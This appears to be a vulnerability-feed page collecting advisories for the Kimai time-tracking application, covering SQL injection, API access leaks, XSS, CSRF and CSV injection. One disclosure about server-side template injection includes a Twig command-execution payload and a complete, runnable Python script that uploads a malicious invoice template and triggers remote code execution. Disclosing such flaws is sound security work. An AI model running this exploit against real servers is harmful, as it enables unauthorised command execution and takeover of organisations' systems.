An unauthenticated SQL injection vulnerability exists in Kimai version 0.9.2.x via the dbrestore.php endpoint. The flaw allows attackers to inject arbitrary SQL queries into the dates[] POST parameter, enabling file write via INTO OUTFILE under specific environmental conditions. This can lead to remote code execution by writing a PHP payload to the web-accessible temporary directory. The vulnerability has been confirmed in versions including 0.9.2.beta, 0.9.2.1294.beta, and 0.9.2.1306-3.

First published (updated )
Severity
6.5
EPSS
0.04%
Infoleak
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

A vulnerability was found in Kimai up to 2.15.0 and classified as problematic. Affected by this issue is some unknown functionality of the component Session Handler. The manipulation of the argument PHPSESSIONID leads to information disclosure. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. Upgrading to version 2.16.0 is able to address this issue. It is recommended to upgrade the affected component. VDB-263318 is the identifier assigned to this vulnerability.

First published (updated )
Severity
6.8
EPSS
0.04%
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary The permission viewothertimesheet performs differently for the Kimai UI and the API, thus returning unexpected data through the API.

Details When setting the viewothertimesheet permission to true, on the frontend, users can only see timesheet entries for teams they are a part of. When requesting all timesheets from the API, however, all timesheet entries are returned, regardless of whether the user shares team permissions or not.

Example: There are projects P1 and P2, Teams T1 and T2, users U1 and U2 and Timesheet entries E1 and E2. U1 is team leader of team T1 and has access to P1. U2 is in Team T2 and has access to both P1 and P2. U2 creates E1 for P1 and E2 for P2. In the UI, U1 with view othertimesheet perms sees E1 as he is a part of T1 that has access to P1. In the API, however, he has access to E1 and E2.

Additionally, if U1 is not a team leader T1, he does not see any timesheet from a user other than himself in the UI, but still all timesheets in the API.

PoC - Give a user viewothertimesheet permission - The result of the UI and the API call to /api/timesheets?user=all differs in the data that is being returned

Curl command: bash curl -X 'GET' \ 'https://kimai.instance.com/api/timesheets?user=all' \ -H 'accept: application/json' \ -H 'X-AUTH-USER: username' \ -H 'X-AUTH-TOKEN: apitoken'

Impact This is at least an insufficient granularity of access control weakness. People can see timesheet entries they are not supposed to. This greatly affects the confidentiality of timesheet entries.

Restricting API access to administrators is also not a valid solution, as API access is needed, for example, to use the mobile app.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
CSRF
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), arraymerge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); }

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

yaml version: '3.5' services:

sqldb: image: mysql:5.7 environment: - MYSQLROOTHOST='%' - MYSQLDATABASE=kimai - MYSQLUSER=kimaiuser - MYSQLPASSWORD=kimaipassword - MYSQLROOTPASSWORD=changemeplease

ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQLROOTPASSWORD ping -h 127.0.0.1 interval: 20s startperiod: 10s timeout: 10s retries: 3

nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped dependson: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s startperiod: 10s timeout: 10s retries: 3

kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASEURL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTEDHOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memorylimit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped

phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMAARBITRARY=1

postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtpuser: kimai:kimai restart: unless-stopped

volumes: var: public: mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept python import requests import re import string import random import sys

session = requests.session() BASEURL = sys.argv[1]

def generate(size=6, chars=string.asciiuppercase + string.digits): return ''.join(random.choice(chars) for in range(size))

def getcsrf(path, session): try: projectid = "" csrftoken = "" previewid = "" templateids = [] activitycustomerlist = [] csrfloginresponse = session.get(f"{BASEURL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]?name=["\'].?token[^"\']["\'][^>]?value="\'["\'][^>]?>', re.IGNORECASE) match = pattern.search(csrfloginresponse) if match: csrftoken = match.group(1) if "performSearch" in path: previewpattern = re.compile(r'<div[^>]id="preview-token"[^>]data-value="(.?)"[^>]>', re.IGNORECASE) previewmatch = previewpattern.search(csrfloginresponse) if previewmatch: previewid = previewmatch.group(1)

templatepattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) templatematches = templatepattern.findall(csrfloginresponse) if templatematches: templateids = [int(id) for id in templatematches] if "timesheet" in path: optionpattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) optionmatches = optionpattern.findall(csrfloginresponse) if optionmatches: activitycustomerlist = [(int(activityid), int(customerid)) for activityid, customerid in optionmatches] if "project" in path or "activity" in path: projectidmatch = re.search(r'<option value="(\d+)"[^>]data-currency="EUR"[^>]>', csrfloginresponse) if projectidmatch: projectid = projectidmatch.group(1) return csrftoken, projectid, previewid, templateids, activitycustomerlist except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None

def login(username,password,csrf,session): try: params = {"username": username, "password": password, "csrftoken": csrf} loginresponse = session.post(f"{BASEURL}/logincheck", data=params, allowredirects=True) if "I forgot my password" not in loginresponse.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass

def createcustomer(token,name,session): try:

data = { 'customereditform[name]': (None, name), 'customereditform[color]': (None, ''), 'customereditform[comment]': (None, 'xx'), 'customereditform[address]': (None, 'xx'), 'customereditform[company]': (None, ''), 'customereditform[number]': (None, '0002'), 'customereditform[vatId]': (None, ''), 'customereditform[country]': (None, 'DE'), 'customereditform[currency]': (None, 'EUR'), 'customereditform[timezone]': (None, 'UTC'), 'customereditform[contact]': (None, ''), 'customereditform[email]': (None, ''), 'customereditform[homepage]': (None, ''), 'customereditform[mobile]': (None, ''), 'customereditform[phone]': (None, ''), 'customereditform[fax]': (None, ''), 'customereditform[budget]': (None, '0.00'), 'customereditform[timeBudget]': (None, '0:00'), 'customereditform[budgetType]': (None, ''), 'customereditform[visible]': (None, '1'), 'customereditform[billable]': (None, '1'), 'customereditform[invoiceTemplate]': (None, ''), 'customereditform[invoiceText]': (None, ''), 'customereditform[token]': (None, token), }

response = session.post(f"{BASEURL}/admin/customer/create", files=data)

except Exception as e: print(str(e))

def createproject(token, name,projectid ,session): try: formdata = { 'projecteditform[name]': (None, name), 'projecteditform[color]': (None, ''), 'projecteditform[comment]': (None, ''), 'projecteditform[customer]': (None, projectid), 'projecteditform[orderNumber]': (None, ''), 'projecteditform[orderDate]': (None, ''), 'projecteditform[start]': (None, ''), 'projecteditform[end]': (None, ''), 'projecteditform[budget]': (None, '0.00'), 'projecteditform[timeBudget]': (None, '0:00'), 'projecteditform[budgetType]': (None, ''), 'projecteditform[visible]': (None, '1'), 'projecteditform[billable]': (None, '1'), 'projecteditform[globalActivities]': (None, '1'), 'projecteditform[invoiceText]': (None, ''), 'projecteditform[token]': (None, token) } response = session.post(f"{BASEURL}/admin/project/create", files=formdata) except Exception as e: print(str(e))

def createactivity(token, name,projectid ,session): try: formdata = { 'activityeditform[name]': (None, name), 'activityeditform[color]': (None, ''), 'activityeditform[comment]': (None, ''), 'activityeditform[project]': (None, ''), 'activityeditform[budget]': (None, '0.00'), 'activityeditform[timeBudget]': (None, '0:00'), 'activityeditform[budgetType]': (None, ''), 'activityeditform[visible]': (None, '1'), 'activityeditform[billable]': (None, '1'), 'activityeditform[invoiceText]': (None, ''), 'activityeditform[token]': (None, token), } response = session.post(f"{BASEURL}/admin/activity/create", files=formdata) if response.statuscode == 201: print(f"[+] Activity created: {name}")

except Exception as e: print(f"An error occurred: {str(e)}")

def uploadmaliciousdocument(token,session): try: formdata = { 'invoicedocumentuploadform[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoicedocumentuploadform[token]': (None, token) } response = session.post(f"{BASEURL}/invoice/documentupload", files=formdata) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1)

except Exception as e: print(f"An error occurred: {str(e)}") import re

def createmalicioustemplate(token, name, session): try: data = { 'invoicetemplateform[name]': name, 'invoicetemplateform[title]': name, 'invoicetemplateform[company]': name, 'invoicetemplateform[vatId]': '', 'invoicetemplateform[address]': '', 'invoicetemplateform[contact]': '', 'invoicetemplateform[paymentTerms]': '', 'invoicetemplateform[paymentDetails]': '', 'invoicetemplateform[dueDays]': '30', 'invoicetemplateform[vat]': '0.000', 'invoicetemplateform[language]': 'en', 'invoicetemplateform[numberGenerator]': 'default', 'invoicetemplateform[renderer]': 'din', 'invoicetemplateform[calculator]': 'default', 'invoicetemplateform[token]': token } response = session.post(f"{BASEURL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s<td class="alwaysVisible colname">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: templateid = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {templateid}") return templateid # Return the captured template ID else: print("[-] Failed to capture the template ID") createmalicioustemplate(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1)

def createtimesheet(token, activity, project, session): formdata = { 'timesheeteditform[begindate]': (None, '01/01/1980'), 'timesheeteditform[begintime]': (None, '12:00 AM'), 'timesheeteditform[duration]': (None, '0:15'), 'timesheeteditform[endtime]': (None, '12:15 AM'), 'timesheeteditform[customer]': (None, ''), 'timesheeteditform[project]': (None, project), 'timesheeteditform[activity]': (None, activity), 'timesheeteditform[description]': (None, ''), 'timesheeteditform[fixedRate]': (None, ''), 'timesheeteditform[hourlyRate]': (None, ''), 'timesheeteditform[billableMode]': (None, 'auto'), 'timesheeteditform[token]': (None, token) } response = session.post(f"{BASEURL}/timesheet/create", files=formdata,allowredirects=False) if response.statuscode == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet")

##############################

login csrf, , , , = getcsrf("/login", session) login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) create new customer

getcustomertoken, , , , = getcsrf("/admin/customer/create", session) customername = generate() createcustomer(getcustomertoken, customername, session) create new project with customername

getprojecttoken, customerid, , , = getcsrf("/admin/project/create", session) projectname = generate() createproject(getprojecttoken, projectname, customerid, session)

create new activity getactivitytoken, projectid, , , = getcsrf("/admin/activity/create", session) activityname = generate() createactivity(getactivitytoken, activityname, projectid, session)

EXPLOIT ######################

upload malicious file uploadtoken, , , , = getcsrf("/invoice/documentupload", session) uploadmaliciousdocument(uploadtoken, session)

create malicious template to trigger the SSTI gettemplatetoken, , , , = getcsrf("/invoice/template/create", session) template = generate() tempid = createmalicioustemplate(gettemplatetoken, template, session)

create a timesheet with projectid and activityid activitycustomerlist = getcsrf("/timesheet/create", session)[4] # get the activitycustomerlist from getcsrf function

print(f"[+] Constructing renderer URLs..") iterate through all relative projectids and customerid for exploit stabiliy for activityid, customerid in activitycustomerlist: csrf = getcsrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activityid}, Customer ID: {customerid}") createtimesheet(csrf, activityid, customerid, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASEURL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, , , , = getcsrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, projectid, previewid, templateids, activitycustomerlist = getcsrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&token={csrf}&template={tempid}", session) for templateid in templateids: rendererURL = f"{BASEURL}/invoice/preview/{customerid}/{previewid}?searchTerm=&daterange=&exported=1&template={tempid}&invoiceDate=&token={csrf}&customers[]={customerid}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such: bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

!kimaiRCE

Impact

Remote Code Execution

1 / 2
First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Cross Site Scripting (XSS) vulnerability in kevinpapst kimai2 1.30.0 in /src/Twig/Runtime/MarkdownExtension.php, allows attackers to gain escalated privileges.

First published (updated )
Severity
7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in creating new timesheet in Kimai. By filling the Description field with malicious payload, it will be mistreated while exporting to a CSV file.

First published (updated )
Severity
6.5
CSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

kimai2 is vulnerable to Cross-Site Request Forgery (CSRF)

First published (updated )
Severity
9
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

kimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

First published (updated )
Severity
4.6
CSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

kimai2 is vulnerable to Cross-Site Request Forgery (CSRF)

First published (updated )
Severity
4.3
CSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

kimai2 is vulnerable to Cross-Site Request Forgery (CSRF)

First published (updated )
Severity
6.5
CSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

kimai2 is vulnerable to Cross-Site Request Forgery (CSRF)

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Kimai v2 before 1.1 has XSS via a timesheet description.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203